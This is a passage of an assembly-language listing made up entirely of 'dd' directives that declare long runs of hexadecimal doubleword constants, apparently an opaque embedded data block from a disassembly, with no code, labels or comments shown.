		dd 0DE4FD434h, 2D9941Fh, 7B56769Dh, 52EFD712h, 0D353E86Fh
		dd 0CA621C01h, 68A545DDh, 6BC4AF6Dh, 0A8A485A8h, 0F8B580A7h
		dd 9FA26B41h, 0DF411652h, 5427FA2Bh, 0C30FDFB9h, 7BF61D8h
		dd 2A8D731Eh, 0BA8D4A78h, 46646829h, 2F8DBA58h,	6B24DD2Ah
		dd 13044B6Ah, 0FDBD0B56h, 575F0029h, 0B533F560h, 258F9AC1h
		dd 1BC65B61h, 31206FB0h, 0DB810014h, 919CB04h, 14ECFE9h
		dd 53A071F7h, 0AB1C09FEh, 0A74914D3h, 0A52571C6h, 95BA4455h
		dd 16F3FC2Bh, 7166D0h, 0F5D3BAFBh, 0C1BD2BB1h, 8BCC229Dh
		dd 67155CD9h, 2771F289h, 51577714h, 55F28EFBh, 1C64B34Dh
		dd 88CCAB64h, 0EF2B0AE3h, 25B6BAB7h, 467C685Fh,	8CCDBF04h
		dd 0C62E36C0h, 83EC0034h, 0D3804564h, 4EB75018h, 0C9CBBDE8h
		dd 5593BBB0h, 0B7043097h, 6989E6F8h, 6B05330Ah,	0BF1F0004h
		dd 0EE682826h, 614A4816h, 30F0C8h, 2701571Eh, 7DADC83Ch
		dd 0F3DFFD00h, 0F81A735h, 0B85F9583h, 62FE3Eh, 39B998DAh
		dd 0BD739D3Fh, 6F7F8C02h, 555BD41Eh, 4B1160C8h,	9E615532h
		dd 2FE256DFh, 5CA7B83Dh, 1F4B0523h, 0A3C1AFCBh,	92042EA9h
		dd 80901BBh, 17119E5Ch,	9BBBC84Fh, 3724BD01h, 0BE0DC183h
		dd 0C2FD90DBh, 255F70F2h, 2C5E336Bh, 3790FA8Bh,	0DCF9808Bh
		dd 939133D8h, 789D6200h, 3CF38153h, 483604B6h, 0ABF98B5Bh
		dd 99B5F160h, 16E48731h, 61DCB060h, 22D983A0h, 0A2FD67B5h
		dd 6C1495C4h, 45CC0D4Eh, 1DE9800Eh, 2ADA0BA1h, 23BE89A6h
		dd 3DB40E1Ah, 512F07A1h, 5DDD2CCEh, 4B0AB8F9h, 73E2F3h
		dd 0E6040BF6h, 913BF0Dh, 5F42DA89h, 68B68F60h, 74661497h
		dd 0D5EF97CCh, 80F9C40h, 4DAF0B5Ch, 470215E5h, 0E85A1DA1h
		dd 0FEA5397Ch, 0DB66929Ah, 0A87F7837h, 0DE30EA03h, 95029D1Ch
		dd 8B1487FAh, 12789E6h,	0FF786A95h, 149193B5h, 19F94C87h
		dd 129EE655h, 0AD3451BDh, 9EB8D2B2h, 9162220h, 80C44D85h
		dd 463D5BEh, 0FF1DE5BDh, 209D7928h, 82950A85h, 5572DEA4h
		dd 45D372BAh, 4F8B8451h, 8A786CA0h, 9FB96384h, 2300E71Ch
		dd 3878B837h, 0B7DF0061h, 7DEBD25h, 0F10955FEh,	809B6A7Ah
		dd 4CE0E92Ch, 9A5B4B77h, 0C11BC835h, 0DAA7CBA1h, 56A6CAFDh
		dd 0D5CC693Ah, 14C9BD12h, 0F92540E7h, 0FFD333C2h, 3FAEA370h
		dd 0E7804738h, 0E0C44CAh, 2527BD03h, 0CB325415h, 228E2A35h
		dd 94F841B5h, 4C684CF5h, 8954C889h, 0F5258253h,	0B85B1F84h
		dd 70F8C972h, 0B4F9F41h, 931DB660h, 5F4D90EEh, 0FD1A5605h
		dd 7DA9BC12h, 2AFB0B01h, 955D7B5Bh, 0DEE74068h,	0FE274B09h
		dd 590CF3B1h, 50711815h, 12B6E6C0h, 0C461FBE0h,	0D8B0D2B9h
		dd 8052C148h, 5FD0EF12h, 9CAEC075h, 0E5219DA5h,	0C092E908h
		dd 269109C8h, 8F93C082h, 96613A23h, 0AA16F680h,	0FE8A504Eh
		dd 0CF0481F2h, 150AD3C0h, 0C8B0DABFh, 0D7D5C119h, 0C55EC1CCh
		dd 0B5A2E081h, 0B713EE1Ch, 0B73CC625h, 37B94E10h, 0AD037E72h
		dd 245F6E2h, 98C590B5h,	4A50F8Ah, 4DB4E5C8h, 85BD2981h
		dd 0C3CB6A26h, 0AAB01D56h, 2C09C835h, 71F9F8FDh, 9574718h
		dd 0B5F4D454h, 4E95AF4Ch, 1235973Ah, 0CEF54E00h, 0E22D4C6h
		dd 208DF821h, 4E112F7Eh, 0A3DB6A1Fh, 8023DA5Fh,	0C7166FE7h
		dd 1960C43Dh, 0CFE9041Bh, 0BB4622B8h, 45E053F0h, 67C4C0Bh
		dd 0FC642Ch, 0F14A7DA8h, 0BEF7F3C1h, 3244EE03h,	0D58B1ECBh
		dd 6C06BDBh, 1EBF4678h,	54C9A425h, 7F1E2EBh, 6A440909h
		dd 0D5FE5DF8h, 0B04121FEh, 0F760D5A5h, 4B045718h, 62CB46FCh
		dd 0B0D3A8E8h, 502F5B83h, 7FB80953h, 485430A9h,	11C700DCh
		dd 0BF768E0Dh, 35122B4Fh, 0BB96A3Ch, 0FD56F2BDh, 911B918Ah
		dd 0AD290A41h, 2EA01537h, 8E1498F9h, 10C4CCDBh,	0FC6901E9h
		dd 8A009258h, 57BB50D9h, 0AA6721E1h, 0CE545D88h, 0DBD9CB4Eh
		dd 8433D0A0h, 800E787Ch, 0BD18789h, 0CF4B80EDh,	0B56A0F74h
		dd 35E04F4Dh, 12236710h
		dd 0BE334D9Dh, 4100FEF3h, 20D9D2B8h, 9F043011h,	0F623B197h
		dd 0DAD39DB9h, 0BFFB8068h, 0BBC477Dh, 0EB8D055Bh, 40981555h
		dd 7B462C1Bh, 44F6A300h, 0D1FF4F7Ah, 0B19D1629h, 0E211B817h
		dd 3B802976h, 26AB656h,	0C13D0CC4h, 1A809FBCh, 920FC6CBh
		dd 95DF8F00h, 60506940h, 0A2ED1EB9h, 0A8F0276Ah, 0DBE6ABBFh
		dd 651D701Eh, 0D9FC7400h, 587C7E5Ah, 0B6FE4B8Bh, 3115B298h
		dd 55E03F7Eh, 51A59571h, 0EF38AB61h, 9D929014h,	60EEBD4Dh
		dd 0EE801345h, 0FC834A0Fh, 7D8CA0E5h, 0F82A0046h, 2B4E014Ch
		dd 0E2057EE8h, 1CFFAC69h, 0BAAD34D4h, 0C1440CADh, 0A94C800Bh
		dd 2F07F69Fh, 165CAD09h, 25DC44AEh, 437E0CCAh, 0E24FFB09h
		dd 1F7B5535h, 4A73575Ah, 0F74D7A09h, 0DFFC9118h, 0E22BF804h
		dd 0C2BFB794h, 0C65C1187h, 250A5652h, 690A566h,	2B281607h
		dd 4DE96A45h, 80BEC026h, 7A0265A3h, 1DBD0386h, 25B45A05h
		dd 1A483509h, 65950739h, 5E4011B1h, 0A201A1B2h,	0EEA3735Bh
		dd 88C845D7h, 0B04C5FF4h, 91988D3h, 417E70E6h, 0E4172210h
		dd 89338C71h, 214E1DFCh, 8CD3DA8h, 39940371h, 8075B8B4h
		dd 52B43EBFh, 21BA5007h, 0A573B157h, 1981307Fh,	0C8F04E4Ch
		dd 0AF010F50h, 2CD1FBC6h, 5A30C234h, 835C0E3Ch,	12365F94h
		dd 2076B1F1h, 2840799Eh, 95FC7F53h, 63A1805Bh, 40135D25h
		dd 7081D1B1h, 370B0C18h, 18A0E923h, 970D31F6h, 47557710h
		dd 0CC534925h, 0E5B52A9Fh, 815B4F89h, 6A7F14A6h, 25BDCBA4h
		dd 61562C51h, 7BBF6640h, 8924979Bh, 30BE5731h, 420EDF9Ch
		dd 9563D700h, 0F8EA206Ch, 51A8028Ch, 0B0EB8191h, 0D77110F5h
		dd 0AE8000D3h, 0F8487ADFh, 0E92A5F5Bh, 5D2D623Eh, 0ACE35B01h
		dd 8351A51Fh, 99B52940h, 0E065B514h, 0E03C3237h, 67B34DF7h
		dd 0A8408942h, 0BA064AC1h, 0A5723677h, 0BDCD75ACh, 7AFE60E4h
		dd 2C53F6Bh, 862A2CBFh,	2F28C060h, 12EEB9Dh, 0A74FC212h
		dd 0F470EC5Ah, 61019612h, 6005E2E3h, 0AB02F181h, 8CBB34C4h
		dd 0B92461D5h, 99351B6h, 551DE909h, 1C117BB5h, 56F7FB80h
		dd 0C8007D46h, 0BF1B5AE4h, 255399EBh, 64D56049h, 0FC6124FAh
		dd 28A038B4h, 0D9C02B2Fh, 6DDD25C4h, 0D22B8976h, 0DC6476h
		dd 6ACBCEE0h, 6B9DE722h, 0E3817E01h, 5B83EB28h,	23407F2Fh
		dd 1A700217h, 0C37B45B8h, 2F9A770h, 0CADF3E37h,	9E8756E9h
		dd 0F51208E1h, 8504BF2h, 0F2D1357h, 0B8372482h,	3E4081CDh
		dd 0EA2E5912h, 0D5C43609h, 19918435h, 201C9380h, 0CD62E2FAh
		dd 5510F596h, 8B27FAD3h, 5EC954FFh, 5966F39Dh, 57C8BF6h
		dd 0F4425C20h, 0C656782Dh, 48BF02FEh, 5F6815F2h, 8C53A45Eh
		dd 0CBF9DEBAh, 2661517Bh, 0BEB302AEh, 0CA5E33D2h, 4AEDD04Ch
		dd 0B5A6AC16h, 0C0A925ADh, 552F02A5h, 5ABE70EDh, 4EE4B68Dh
		dd 2FA07DF6h, 0BB04ACECh, 35590DDDh, 0AEA29BBCh, 831A911Fh
		dd 880BBB57h, 0A0496E3Bh, 0F13592h, 0DE8A5CF3h,	1260C8BFh
		dd 0ACCA6D4Bh, 4E1FFD4Fh, 9FE02DE6h, 0F2D1CF1h,	4096F985h
		dd 0AC557BC0h, 8F40CB05h, 5C80721Dh, 13F817DBh,	1522733h
		dd 0D5EBC7B0h, 5E51E4EAh, 45B39C97h, 0D23B3005h, 38B20909h
		dd 73165B60h, 99358580h, 69B4A800h, 0EB01BBDEh,	0C5664BE1h
		dd 0B997B98Fh, 0D652666Bh, 509F1F09h, 1E3EF932h, 627D015Ah
		dd 7B7003D7h, 222EF9B5h, 5B1A93A1h, 6A4051B6h, 16C8B59Ah
		dd 8F279AC1h, 0C520FA2Ah, 5712A29h, 0B531FCF7h,	61E9E09Dh
		dd 0B5A4BA97h, 63F08059h, 3205BEFCh, 4A24025Ch,	901F17B9h
		dd 27C26D8Ah, 0BCC55BC3h, 0FFD481E1h, 0F22EE6B4h, 9D29C4A5h
		dd 0AF35C9AFh, 0C0AA4D96h, 38574F29h, 5112A600h, 89F30C3Bh
		dd 1EDD259Dh, 0C5209572h, 94149719h, 5D20504Ah,	74B6A915h
		dd 8953008Bh, 0A7D01BE0h, 0D27B8372h, 64A87DD7h, 0C964AB4Bh
		dd 283B20AAh, 0FE00B138h, 0E8728ADFh, 1D92B23Fh, 1685834h
		dd 0E5334C02h, 0A951E2FBh, 3B931800h, 3ED37B16h, 0E983ACA4h
		dd 0D9BD2B84h, 5AE7AB9Ch, 0B599BF40h, 6ED2945Bh, 8071480Dh
		dd 0A54C0274h, 1CBE97Ah, 3FF4FAFEh, 0EC89D470h,	6C803653h
		dd 4158D7E5h, 59925B9Dh, 1F491817h, 0DD32F777h,	4C0EC4D7h
		dd 0D0BEBC5Eh, 33E11685h, 18D8DEB9h, 0BA971755h, 47D199h
		dd 2925AB6Bh, 77015915h, 8EB3B107h, 0B12EE13Ch,	0BCD6391Dh
		dd 0F6EF00F0h, 0DB8C5928h, 0BCC70BFAh, 1D85CAE0h, 624B12EAh
		dd 0B8606603h, 8E97ACE2h, 0C58D65AFh, 502F28B8h, 7869E9FCh
		dd 2629BC0Ch, 0B201DE05h, 9D01DB79h, 9C6B0589h,	0DF008074h
		dd 0BDAE688Fh, 2552676Bh, 815DF98Bh, 74BE51EEh,	0A5B151EEh
		dd 46D65E56h, 7964001Bh, 9AFF3A95h, 20544A7Ch, 0E1298991h
		dd 0B6C4E800h, 0B11571B8h, 0D48A04D1h, 8C50F936h, 377B5FBFh
		dd 0BEA9ED00h, 6343D128h, 38AF0021h, 739193CEh,	3CEBDE71h
		dd 16F65A69h, 9E1BEE4h,	0EF044A28h, 0ED5F2CCDh,	549AD67Fh
		dd 7E7B5380h, 6C394193h, 0CA57952Ch, 9D0905F4h,	9EA92679h
		dd 0C3DBD09h, 83447A7Bh, 0E5CE8CAAh, 838A414Bh,	0AB103327h
		dd 0E98021F1h, 0A73AE143h, 0EC1EA078h, 0C4B904ADh, 0EE166131h
		dd 72BF850Eh, 5BBAA7F3h, 0A4A088B6h, 0F19076Bh,	0B7190289h
		dd 5AA3F8EAh, 0E11CAC30h, 9E7E0409h, 0D9D485B0h, 5ADFE92Ch
		dd 80B99E03h, 841BE467h, 8A920820h, 0C88012E8h,	0C39B4B14h
		dd 0E41500A2h, 0A88EC7D1h, 927ED253h, 510F5517h, 0ABC1A880h
		dd 8A2AE35Fh, 7E35A067h, 9CF00BA5h, 9C55EB1Eh, 64BD0033h
		dd 0F723400Fh, 960043EEh, 0C678281h, 954FEF7Fh,	55699876h
		dd 1A917EB5h, 0F18DBF92h, 9E6CC6Bh, 0A408571h, 4003BE50h
		dd 5E569F69h, 2BAD43Ah,	0CEAB7E43h, 97C65E9Ch, 24C1ED95h
		dd 1917C30Bh, 57F16FAFh, 0BBBD0949h, 82DF79D9h,	3391B529h
		dd 42C2D15Dh, 4A1426BDh, 0C4FBADF9h, 3C290BD9h,	9D030DD4h
		dd 122E4571h, 2F04AA87h, 6EAB2050h, 507A003Ch, 3FA587DDh
		dd 848F5829h, 0B90BCD12h, 8C15BCC2h, 2BBAA402h,	841A299Dh
		dd 75BDDE63h, 4FBB1CADh, 0A6EB542Eh, 0FFBD5A01h, 0F63F6A5Bh
		dd 0A4FAF0F7h, 34DC2DF5h, 14596A7Bh, 23504618h,	0EE950FD1h
		dd 278DB00Ah, 11663219h, 0D55E10B7h, 0C95A03C2h, 0A203E991h
		dd 0AE2FDEC0h, 871F4C3Eh, 0FBFBDCCh, 56FB6B1Eh,	1446DC8Ch
		dd 0BD332602h, 6E751DB1h, 95099505h, 48468471h,	0EB8C8D41h
		dd 1019F440h, 0B6509680h, 51BA0734h, 0F8F21E59h, 0EFB2C331h
		dd 46968A61h, 0EABF4BF0h, 98199580h, 0F0A739AEh, 28868FABh
		dd 86540B08h, 0FF815A1Ah, 0FE2373CCh, 6BB04DD5h, 0B7045153h
		dd 88EAE22Ch, 0D4908CB2h, 7B20752Dh, 18157943h,	278B7AAh
		dd 7853A7E5h, 0C51A97A1h, 24A258E0h, 6BA89497h,	637B4D69h
		dd 278E8B70h, 0D2D039A4h, 1FA83A97h, 84029C28h,	0BCF997BBh
		dd 0B86E4BA2h, 0B5B13109h, 1DD9BA7Bh, 0DB73E318h, 0C66D6200h
		dd 0D09E75C9h, 0F2BB2FE9h, 0A383F704h, 2FFB39F8h, 5637C1h
		dd 9BB0D6Ch, 0D1B0D72Eh, 0FA8D5738h, 0B7AD3827h, 538B803Fh
		dd 0C6F680A7h, 0B99D198h, 2031F825h, 5BE01469h,	48DC8080h
		dd 0AD12B920h, 0C25E9D16h, 307399D7h, 47D3A108h, 1EAD53C8h
		dd 7A9168h, 0FBB6D970h,	0E009BE61h, 459F673h, 5884DD4Fh
		dd 0C0C5DBEFh, 5009B593h, 0A5BB06F2h, 4A5E65EFh, 8B6034BCh
		dd 0F4EBC0h, 0EBD40ABh,	7E44A548h, 26367300h, 51142B9Ch
		dd 0CCA20064h, 0B6DF0104h
		dd 1B0177C0h, 465729B8h, 92C08B27h, 0BAEE076Ah,	0D040ED9Ah
		dd 0EA532352h, 0CC036100h, 333B3121h, 0A8D001DBh, 0ABE1504Fh
		dd 0AE92E06Eh, 2B35161Dh, 48DDC602h, 0B1E660F6h, 66D9E2EAh
		dd 214009A9h, 89FE6800h, 0FBE48163h, 0E67BB5h, 69938373h
		dd 63CB44Bh, 61E1CC3Ch,	0FB28B730h, 0D3DED5h, 6D85FD10h
		dd 8A945423h, 6C5CCA19h, 2180C408h, 706D7D98h, 0B003BE6Bh
		dd 118E8D43h, 2BEF90DAh, 0C0D66D83h, 30309D88h,	0C9467806h
		dd 85E60011h, 994FF6EBh, 4766AA4Ch, 9821E009h, 3EEB00F9h
		dd 0DE21CB9Fh, 0A9005324h, 17776E44h, 2840F798h, 0D8CB7B1h
		dd 0D3C71B27h, 88340B70h, 0A660C3E1h, 2BF16598h, 2EF46300h
		dd 1BB196BAh, 58C9607Bh, 8E0548C5h, 1C46C4A4h, 8389F002h
		dd 3E31DAB1h, 89F86E10h, 0F2F09818h, 7D3B27A0h,	5158C0F7h
		dd 0D55A131Dh, 0C07C2B00h, 12AF1582h, 0BB533EA2h, 7FC50280h
		dd 0D0A7A9F5h, 80EF3500h, 0E7294E40h, 50621E38h, 9B094032h
		dd 482CC925h, 0BB60411Eh, 4E382380h, 2A0431h, 0C9E7CCDAh
		dd 50086D86h, 550147EEh, 2EC0E512h, 3BE4C617h, 70C7005Fh
		dd 4E96CEB1h, 923B1DAEh, 130E8F60h, 8F0F2E68h, 3807E759h
		dd 0BB24CBA0h, 9AA83B5Fh, 28C04219h, 416BDC59h,	21003778h
		dd 5D049690h, 3BF66E7Dh, 0C117BBA2h, 58961892h,	0D8094893h
		dd 37EAE91h, 3A5915EBh,	79406420h, 0F6309BF0h, 0B6331110h
		dd 9A6B010Dh, 9212EAC5h, 0E108BE9Dh, 0DAE5621h,	2C3ED4h
		dd 0E8645F58h, 42363B24h, 6AA1C960h, 180B30Bh, 0B956BE9Bh
		dd 9F01F7AEh, 7F434941h, 8813B676h, 71AAC847h, 0FF9000Ch
		dd 6979418h, 0E307CDC1h, 0E199A8BAh, 127B2741h,	0AB137800h
		dd 9411262Ah, 1C492E18h, 197D4736h, 8578FCAh, 50218923h
		dd 0DE240041h, 30E475h,	4738985Eh, 5BE23712h, 0C80F5E96h
		dd 0EAA5201Dh, 28EE200Ch, 5BC2817h, 2E869796h, 0BF9C00E4h
		dd 6F05D54Fh, 3FCE4D18h, 8003CB40h, 4BF01B99h, 10C11EF6h
		dd 32A19874h, 2588584Bh, 4C44FCC0h, 0A84ABBDh, 58254778h
		dd 6B811DCh, 30971698h,	0CF4D0FA8h, 6482C31Ah, 28485CFBh
		dd 0D17E9079h, 32BAE203h, 308ADA17h, 9F217608h,	6872D198h
		dd 0F8AFAB00h, 0D9E782E9h, 645009Ch, 1D279293h,	31C10896h
		dd 14877B8Ah, 5A52F187h, 4146C1A4h, 0EEFC50CDh,	0B601D06Bh
		dd 5D377A47h, 898524Fh,	638B21D2h, 4B90D004h, 8D800560h
		dd 207983Fh, 5F929BE7h,	0D4801466h, 52DB1135h, 0E2CCA80Ch
		dd 8116E0E1h, 897185Fh,	82E24AD1h, 9A4071C4h, 72F1D19Fh
		dd 8E2D8301h, 589EF7DAh, 10E9D806h, 408B7B82h, 9E149B33h
		dd 14F88108h, 90DC7651h, 1AC23E4h, 97951C48h, 8827184Fh
		dd 1C0F4051h, 7C0F01h, 18755C15h, 1A630F17h, 0DC940716h
		dd 3DEF311Fh, 7202B582h, 5900C242h, 38FD55h, 0F44B8094h
		dd 971A9017h, 0CB439C00h, 14639296h, 77E6009Eh,	765FBE49h
		dd 0EB0F9082h, 8C9641CFh, 7984C0CBh, 5BFA1D01h,	21C3C1FFh
		dd 3017D54Dh, 9E0C0412h, 40474B0Eh, 0C59B1843h,	28385894h
		dd 16F74D00h, 0D3996A4Ch, 877314E4h, 3904901Ah,	1FDBE28Eh
		dd 1FF70D04h, 0D4440E00h, 0C58B2D7Fh, 0D0FA0403h, 5C1000CBh
		dd 8F8A3BAAh, 0DD006AD7h, 2F980DBEh, 0C831ECh, 0FD6C1C7Fh
		dd 83533548h, 0C3F2C700h, 0B72693B0h, 58A500E4h, 85761665h
		dd 0CF0F1C50h, 2020A003h, 3A249A0Fh, 23920F58h,	358067E2h
		dd 0A2B9FAE9h, 28795D07h, 6120C4B0h, 106CA46Eh,	0FC5BF27h
		dd 80C9ABA1h, 12A0D09Ch, 600202C7h, 2CB6854Bh, 73585E40h
		dd 2ABD9601h, 0F45AEB77h, 643B20h, 8CF5B1DAh, 56279B22h
		dd 0A57B5205h, 44C767EDh, 540F861h, 43AE4h, 0D4472B8Eh
		dd 0A1FF65F3h, 10B3D4EDh, 8AC7A403h, 0C0DBF82Dh, 3F24A3Eh
		dd 8FD959BEh, 0B8E8DA31h, 3600F516h, 0A555F85Eh, 0CB08F1h
		dd 7A8D2257h, 3EDDFF4Eh, 0EEF24Ch, 4BE0B609h, 0EF8408h
		dd 1B8A41A4h, 1B96FAAh,	1C005A75h, 3B70BC66h, 0B1C2C3h
		dd 7BB79D61h, 0C8B8EBC7h, 34AE21C0h, 0A9F8F0Fh,	2AB9FCD6h
		dd 188B0180h, 80BBFDB7h, 0D2DE0111h, 186312Ch, 0C4FE2011h
		dd 314069EDh, 0DE808978h, 5004208Eh, 6E4F0Dh, 305B5C46h
		dd 7EA1BD99h, 918CB20Ch, 4976402Fh, 0D8001C62h,	6B25015Ah
		dd 46E87095h, 4603100h,	2282D7E3h, 2DFD0045h, 9BB02E49h
		dd 0BE007637h, 0E1A7E243h, 933374h, 0EEE5CD17h,	8463C63Bh
		dd 136C3138h, 0E700DBE7h, 5410E149h, 877233h, 50C51C73h
		dd 0A8AF896Dh, 0BB2AE338h, 47AE0149h, 9C3ACA71h, 6D1B8C40h
		dd 0AD5603F8h, 541EC75Ch, 81683FCh, 0EE1DB890h,	7713C200h
		dd 2893382h, 0B7E658BAh, 0AB490900h, 0E0F6DB05h, 2E008B73h
		dd 40C0FCEBh, 1E3F9638h, 9EF71061h, 860B8294h, 8840DACDh
		dd 0D000726Bh, 0C16EFE7h, 753E0EBh, 0D5DC37CFh,	87FBF2CCh
		dd 0EC1CB448h, 9CDDB70Fh, 3F4A006h, 88643Fh, 0A1835BE7h
		dd 683B37D0h, 844E500h,	8FAEC152h, 5CFC3EA3h, 0FE199B81h
		dd 81E691B4h, 0BD18EB20h, 0D824AE5Ah, 60A300DBh, 0BC651690h
		dd 5700EC66h, 0E3DE8B8Eh, 1CE52A7h, 0E5BB11B1h,	0E45EF540h
		dd 0C700A004h, 95932F44h, 8B9974h, 591A6524h, 0CDBC8447h
		dd 0B7DC3809h, 6114A043h, 3219058h, 4CB96E9Dh, 2E0738E2h
		dd 0E6A07C57h, 6732AD0h, 0F8BB00A8h, 51ABECFBh,	3509A60Ah
		dd 2E83A599h, 0F6CA002Ch, 3623909h, 5210ED8Ah, 0D807E40Fh
		dd 0E53AB64Dh, 5C9A2B0h, 783C008Dh, 634B931Fh, 0C805DFE0h
		dd 0E4C352EAh, 0F26B004h, 89A94141h, 1CC3F667h,	0FC8046AAh
		dd 0DFCB20F3h, 9023A701h, 79E2B275h, 95DC0ADDh,	0F9490F8h
		dd 27D52C6Fh, 5E01140h,	0E830C08Bh, 0BCDCB92Ah,	0C477003Fh
		dd 0F943ED0Eh, 6D01BDB1h, 3875D97Fh, 0B8244762h, 5D5E003Dh
		dd 13F52C57h, 0BF0FA50Eh, 0AC6E03h, 0A8FD5F1Bh,	33E90729h
		dd 0D00D10F4h, 0CAEDD1DDh, 0C4CE4600h, 3C5F9836h, 729F001Ch
		dd 7859FD8Ah, 0A53D1635h, 5140074h, 694A0ACDh, 19371D44h
		dd 70FB7B9Ch, 48EB00ACh, 0E29FBC41h, 3400B915h,	55C086E1h
		dd 30B0C9h, 88683D43h, 0FD147CEh, 0F807840Ah, 0AF80A0EEh
		dd 0CFF0CD8Ch, 0EF40128h, 7CBDE6C0h, 3AC880C9h,	6E2BF7F8h
		dd 76DC0792h, 6030411Fh, 9014653Bh, 80478339h, 0E8B2C0F0h
		dd 18DF6384h, 0D85FA2F7h, 0C2008980h, 0F9CC7F53h, 93FB895h
		dd 916122B9h, 292E28A0h, 381618C4h, 4005B63h, 0F00F45E1h
		dd 11616099h, 0DE8D8C53h, 1CC76700h, 8F260C9Bh,	9F48024Bh
		dd 999CF6BFh, 6B3D3040h, 9D973809h, 4A382078h, 49356657h
		dd 110064B9h, 0CB1C7B40h, 0FC09DA0Bh, 19B54Fh, 0D3C37F9Ch
		dd 382F60D6h, 41B875ACh, 0C6374905h, 0C80B1983h, 13A9005Dh
		dd 0CE3CBh, 0EA5E4CB4h,	62CADFA5h, 0D9B8F0C0h, 3CF795E6h
		dd 8407D706h, 26979F37h, 0EB002064h, 1B39FC4Ch,	0E8EF6A22h
		dd 0B9C7000Bh, 34824303h, 8400A7EBh, 0F60F1319h, 900CE42Dh
		dd 0EAA5003Fh, 0F4E78068h, 0AF01BB88h, 9FCFACA6h, 0B1D02C85h
		dd 0E9B40044h, 0B9BA1281h, 92001A9Bh, 0BEC823ABh, 3A9C74EAh
		dd 3284E1EBh, 0C07E8CB7h, 0B2D599E9h, 0DF68E00h, 0D068725Ah
		dd 1D770040h, 0D1941518h, 1400B7EAh, 0BA0DC542h, 1C49CAh
		dd 0E0DD7B80h, 0A362C360h, 1D052974h, 3167C31h,	0B2E1BC40h
		dd 0FE02311h, 0A513DCF7h
		dd 0EB740540h, 8F1D84D7h, 3DC0E91Bh, 5CC97F9Ah,	0C4B7008Bh
		dd 0EE4E5BFFh, 0F54C3073h, 58540036h, 1B3BA0C8h, 9050002Fh
		dd 7FBF6448h, 62009A4Fh, 3C785EB5h, 428516h, 2AA21331h
		dd 0BC0FC38Ch, 9EE8B47Ch, 1000F57Bh, 2832EFD0h,	4ED479h
		dd 5B8CF9AFh, 0F2AE567Bh, 70017A00h, 0BD2576DAh, 0A310C0F3h
		dd 7C5AD7A9h, 4B54FF01h, 0B531CF89h, 0F22C61D4h, 0DDD50F7Ah
		dd 77234Ah, 3950E363h, 450021F1h, 17BBC822h, 90259056h
		dd 52C30584h, 90DABFCCh, 19BE8FBCh, 0C6A44500h,	8897FFBDh
		dd 143713EBh, 66600080h, 315B3A9Dh, 0E50702EAh,	4D2A7EDDh
		dd 3C531750h, 2E798Ch, 604C9119h, 8AE2BB87h, 0F5456D00h
		dd 926AD6B1h, 71B900DEh, 34A3C4A0h, 0CBFA475Eh,	79C124Dh
		dd 495DFB91h, 0A6B53780h, 18086178h, 0E07D2F97h, 11CF1803h
		dd 769D010Fh, 0F0D38EF6h, 0EA7598h, 4F5DD791h, 48808CD1h
		dd 1C921E00h, 84EB0F43h, 0C0E14039h, 0B6DA900h,	0C148ED47h
		dd 803D6F23h, 0DA373201h, 2417D1CAh, 0DC0048D0h, 859A1222h
		dd 0EE97EAh, 4E16A5E2h,	4232D2E4h, 8F762FF0h, 14205D4Dh
		dd 1680FDAh, 927D1F95h,	91D1270Dh, 6100A1BBh, 4631542Fh
		dd 16000382h, 8E47AB4Fh, 5C15BBh, 0EAF30D0Bh, 4571A420h
		dd 61426E00h, 6F89D87h,	98913EB5h, 0C7D62E00h, 0F17E8172h
		dd 0B1276A00h, 0AEDC7AB7h, 0E73B00DFh, 0A56FC0A2h, 0A00F5A1h
		dd 7A3FAC58h, 8BE455h, 76599319h, 7099497Fh, 9CB46800h
		dd 0D023281h, 25730020h, 0B0FA396h, 1B01A561h, 0CEB90AAh
		dd 5BCC9934h, 2D7962h, 0CE746754h, 1AA91D79h, 0C73D6571h
		dd 99E38010h, 0D8DA15E1h, 87540031h, 0F84F41FCh, 2D25B852h
		dd 630F00DEh, 3822996Ch, 180284Ah, 51CC43E6h, 7812C806h
		dd 0A4CCAF13h, 901C084Dh, 2AC46797h, 1C455440h,	983EA248h
		dd 0D02C185Ch, 0F8A41D8Ch, 2980E927h, 727C0426h, 8B0017A5h
		dd 0F6DCBF45h, 0C584CDh, 0AA9B479Fh, 1C14665Eh,	90A8F3B0h
		dd 3A30C3CFh, 0DED4188Bh, 0BB2206A7h, 2082A25Fh, 420EA413h
		dd 867708Ch, 5A47B2D0h,	8F40D4C4h, 3DA0D05Fh, 61FCB00h
		dd 2B92AD97h, 4243019Ah, 0AE930968h, 0B970B164h, 79F0730Eh
		dd 0E21C2807h, 0C345084Ch, 720F662Ah, 0ECD107BFh, 138DFE3h
		dd 0C1C9A8A0h, 46A331E9h, 9A0D28D5h, 201E3FEEh,	304796F9h
		dd 222898FEh, 19988074h, 6802250Fh, 914C206Fh, 241EAEh
		dd 6BF8FF28h, 7C65CB9h,	8344D700h, 898A67CBh, 0C5120065h
		dd 9FA1EEF0h, 0A302DFC2h, 0CE3260BBh, 3959609Ch, 0F90D1DC3h
		dd 0DA710553h, 8723C00Ch, 766F0589h, 4AFE0051h,	5FC37Bh
		dd 0D533B9D9h, 8601B5C0h, 7FB89707h, 1CC6117Eh,	0A0A40010h
		dd 5819EB46h, 68D8F6B2h, 0A8F818h, 26BA25ACh, 652EDB7Eh
		dd 0B939B018h, 0BC7A048h, 70CDF191h, 0E656A001h, 58BEE0DDh
		dd 5A893761h, 0C703BADh, 23714Bh, 88921055h, 707EE0A0h
		dd 0F044FB27h, 7A871D58h, 5A04066Dh, 0AA61414Ah, 2C20FD94h
		dd 45D900D7h, 0A473AD03h, 661EC0C2h, 0BF00C752h, 0F225E12Eh
		dd 0A2840687h, 50D0892Ch, 9B9C2800h, 3A80DF1Bh,	0B3EE0062h
		dd 23E60BECh, 0CF48DDFFh, 6A4F0D1Fh, 5CF0103Bh,	9B18C012h
		dd 0A2A94DC6h, 727B3300h, 802460F1h, 3BD4710Bh,	8B1C5B50h
		dd 15D580E3h, 0C89A0134h, 970055F4h, 0F967D2F4h, 3B4A5A7h
		dd 542608ECh, 0CDE0E3DCh, 53007935h, 47E69A34h,	0EC7812Ch
		dd 0A5286F83h, 0F11245E0h, 847B2DDDh, 6C0B2EE8h, 970E55h
		dd 1C7EE653h, 0C4E00004h, 1ADCA501h, 0B7007F5Bh, 6E2F77F5h
		dd 2860FBh, 0DF46EE8Dh,	0E5B2E61Dh, 0F0C0ED18h,	40D360h
		dd 0EBAC8414h, 7AEC8ED5h, 0A22B080Fh, 0F7F6A03Fh, 3B43227Ch
		dd 0EE9DD924h, 9A40074h, 0CC02C691h, 32492060h,	38ECEA0h
